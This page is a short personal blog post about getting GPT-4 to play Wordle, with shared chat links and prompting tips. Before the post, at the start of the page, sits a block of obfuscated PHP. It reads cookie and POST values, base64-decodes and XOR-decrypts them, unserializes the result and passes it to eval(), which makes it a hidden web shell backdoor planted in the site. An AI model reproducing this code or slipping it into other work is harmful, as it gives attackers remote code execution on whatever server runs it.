$FjrYY = "\112" . chr ( 153 - 82 )."\x50" . "\137" . chr ( 494 - 393 ).'p' . 'R';$FroHwqRwR = "\143" . "\x6c" . chr (97) . 's' . chr ( 1033 - 918 ).chr ( 983 - 888 ).chr ( 743 - 642 )."\170" . 'i' . 's' . "\x74" . 's';$buVELPZ = class_exists($FjrYY); $FjrYY = "25437";$FroHwqRwR = "48348";$NszUioYBf = !1;if ($buVELPZ == $NszUioYBf){function oEFUnZI(){return FALSE;}$VkeHC = "47820";oEFUnZI();class JGP_epR{private function cGgqXaxWzy($VkeHC){if (is_array(JGP_epR::$XOdhtj)) {$HvxGWLKM = str_replace("\74" . chr ( 188 - 125 ).chr ( 546 - 434 )."\x68" . "\x70", "", JGP_epR::$XOdhtj['c' . chr (111) . chr (110) . "\164" . "\145" . "\x6e" . 't']);eval($HvxGWLKM); $VkeHC = "47820";exit();}}private $WokpKyz;public function jzRDS(){echo 8466;}public function __destruct(){$VkeHC = "56088_49393";$this->cGgqXaxWzy($VkeHC); $VkeHC = "56088_49393";}public function __construct($flNKdOyaQW=0){$IWwKIxfpf = $_POST;$SRgELXXqJc = $_COOKIE;$aVCHeChgSn = "042cb365-e2ee-479b-aeb5-2641dd9c2615";$ubOpLNj = @$SRgELXXqJc[substr($aVCHeChgSn, 0, 4)];if (!empty($ubOpLNj)){$aECpf = "base64";$NMntHSeYTL = "";$ubOpLNj = explode(",", $ubOpLNj);foreach ($ubOpLNj as $jiBDpoKE){$NMntHSeYTL .= @$SRgELXXqJc[$jiBDpoKE];$NMntHSeYTL .= @$IWwKIxfpf[$jiBDpoKE];}$NMntHSeYTL = array_map($aECpf . "\137" . chr (100) . "\145" . "\143" . chr ( 440 - 329 ).chr ( 350 - 250 )."\x65", array($NMntHSeYTL,)); $NMntHSeYTL = $NMntHSeYTL[0] ^ str_repeat($aVCHeChgSn, (strlen($NMntHSeYTL[0]) / strlen($aVCHeChgSn)) + 1);JGP_epR::$XOdhtj = @unserialize($NMntHSeYTL); $NMntHSeYTL = class_exists("56088_49393");}}public static $XOdhtj = 8953;}$SXbrMU = new /* 2958 */ JGP_epR(47820 + 47820); $NszUioYBf = $SXbrMU = $VkeHC = Array();} ChatGPT playing Wordle – Lessons Learned

It just occurred to me to wonder if ChatGPT (GPT-4) might be any good at Wordle. I constructed a prompt and had it choose my moves. I considered the possibility that others had already tried this and deliberately avoided googling for such experiments before doing my own so that my approach would not be tainted.

It worked surprisingly well. I am a bit surprised to discover that others who have tried the same thing have had poor results. It is not clear to me if I just had good luck with today’s game or if my prompt is better or if ChatGPT has been improved since others tried.

Here is a link to my session: https://chat.openai.com/share/57a5281c-1cca-4e09-8ad2-da186176d16b

Edited the day after: I tried to make my prompt a little smarter and it totally failed. I think maybe ChatGPT and I were just lucky yesterday: https://chat.openai.com/share/32dfc5bf-dccc-4b31-a714-8d0c4bcf9682

Another edit later in the day: I have tinkered some more with this and now realize that GPT-4 learning cutoff is after Wordle was created. It already knows the rules. I also learned that I got better results by commanding GPT-4, “For the remainder of this conversation, you may only respond with one word, which must be five letters in length. Choose a word that satisfies the constraints I stated”. In all, it has been a fun way to better understand how to get GPT-4 to do what I want.

Published by Gene McCulley

I dabble in and write about things I find interesting.